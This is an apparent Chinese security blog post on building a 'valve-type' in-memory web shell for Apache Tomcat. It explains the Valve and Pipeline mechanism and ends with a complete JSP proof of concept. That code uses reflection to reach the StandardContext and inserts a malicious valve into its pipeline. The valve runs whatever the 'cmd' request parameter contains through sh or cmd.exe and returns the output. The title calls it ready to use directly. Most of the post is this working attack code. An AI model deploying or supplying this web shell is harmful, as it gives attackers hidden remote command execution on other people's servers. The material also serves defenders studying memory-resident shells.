tomcat内存马第四式 valve型内存马,自己写的很水,直接用就行了
valve内存马是什么
Valve是对Container组件的一种拓展机制,通过多个Valve组装起来放到了pipeline里面。tomcat中的Container型容器就是通过pipeline与valve执行的,例如struts2里的拦截器机制一样,pipeline相当于拦截器链(filterchain),valve相当于拦截器(filter)
valve接口里有invoke
方法:
1 2 public void invoke (Request request, Response response) throws IOException, ServletException;
只要向Container/Host/Wrapper/Engine
这四种Container组件中的任意一种的pipeline中插入我们自定义的valve,也可以达到和filter型一样的效果
如果filter插入到了Engine下的话,则会对engine下的所有context生效
当然,重启tomcat肯定是会失效的
分析
进到valve接口里:
一共就几个方法:
1 2 3 4 5 6 7 8 public interface Valve { Valve getNext () ; void setNext (Valve valve) ; void backgroundProcess () ; void invoke (Request request, Response response) throws IOException, ServletException; boolean isAsyncSupported () ; }
关键方法就是invoke,通过调用this.getNext().invoke(req, resp)
能够将请求传入下一个valve,构成pipeline管道,上文说过,这起到类似于filterchain的作用
但是我们一般不用这个接口来打内存马,而是通过ValveBase
类,它是对Valve接口的一个扩充,利用它新建一个valve:
1 2 3 4 5 6 7 8 9 10 11 12 public class EvilValve extends ValveBase { @Override public void invoke (Request request, Response response) { try { Runtime.getRuntime().exec("calc" ); this .getNext().invoke(request, response); }catch (Exception e){ e.printStackTrace(); } } }
那我们要如何添加valve呢?
那肯定有add方法(前面三个都有add方法,那这个肯定也有 ),就在StandardPipeline
这个类当中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public void addValve (Valve valve) { if (valve instanceof Contained) { ((Contained) valve).setContainer(this .container); } if (getState().isAvailable()) { if (valve instanceof Lifecycle) { try { ((Lifecycle) valve).start(); } catch (LifecycleException e) { log.error(sm.getString("standardPipeline.valve.start" ), e); } } } if (first == null ) { first = valve; valve.setNext(basic); } else { Valve current = first; while (current != null ) { if (current.getNext() == basic) { current.setNext(valve); valve.setNext(basic); break ; } current = current.getNext(); } } container.fireContainerEvent(Container.ADD_VALVE_EVENT, valve); }
上文说过,只要向Container/Host/Wrapper/Engine
这四种Container组件中的任意一种的pipeline中插入我们自定义的valve,就能执行了
著需要获取这四个组件中的一个,并且调用add方法即可
流程如下:
通过反射获取Request从而获得StandardContext
(没错,又是他)
从StandardContext中获取StandardPipeline
addValve
恶意valve:
1 2 3 4 5 6 7 8 9 10 11 12 13 public class myValue extends ValveBase { @Override public void invoke (Request req, Response resp) throws IOException, ServletException { if (req.getParameter("cmd" ) != null ) { InputStream in = java.lang.Runtime.getRuntime().exec(new String []{"cmd.exe" , "/c" , req.getParameter("cmd" )}).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String o = s.hasNext() ? s.next() : "" ; resp.getWriter().write(o); } this .getNext().invoke(req, resp); } } %>
addValve:
1 2 3 4 5 6 7 Valve myValve = new myValue (); Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); Pipeline pipeline = context.getPipeline(); pipeline.addValve(myValve);
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <%@ page import ="org.apache.catalina.valves.ValveBase" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="org.apache.catalina.connector.Response" %> <%@ page import ="org.apache.catalina.Valve" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.mapper.MappingData" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.catalina.Pipeline" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.util.Scanner" %> <%!public class myValve extends ValveBase { @Override public void invoke (Request req, Response resp) throws IOException, ServletException { if (req.getParameter("cmd" ) != null ) { boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } InputStream in = isLinux ? Runtime.getRuntime().exec(new String []{"sh" ,"-c" ,req.getParameter("cmd" )}).getInputStream() : Runtime.getRuntime().exec(new String []{"cmd.exe" ,"/c" ,req.getParameter("cmd" )}).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String o = s.hasNext() ? s.next() : "" ; resp.getWriter().write(o); } this .getNext().invoke(req, resp); } } %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); Pipeline pipeline = context.getPipeline(); Valve valve = new myValve (); pipeline.addValve(valve); %>
很遗憾,只能在这个test.jsp里用,所以严格意义上不能说是内存马了,访问后也不能在别的路径中打:
参考文章: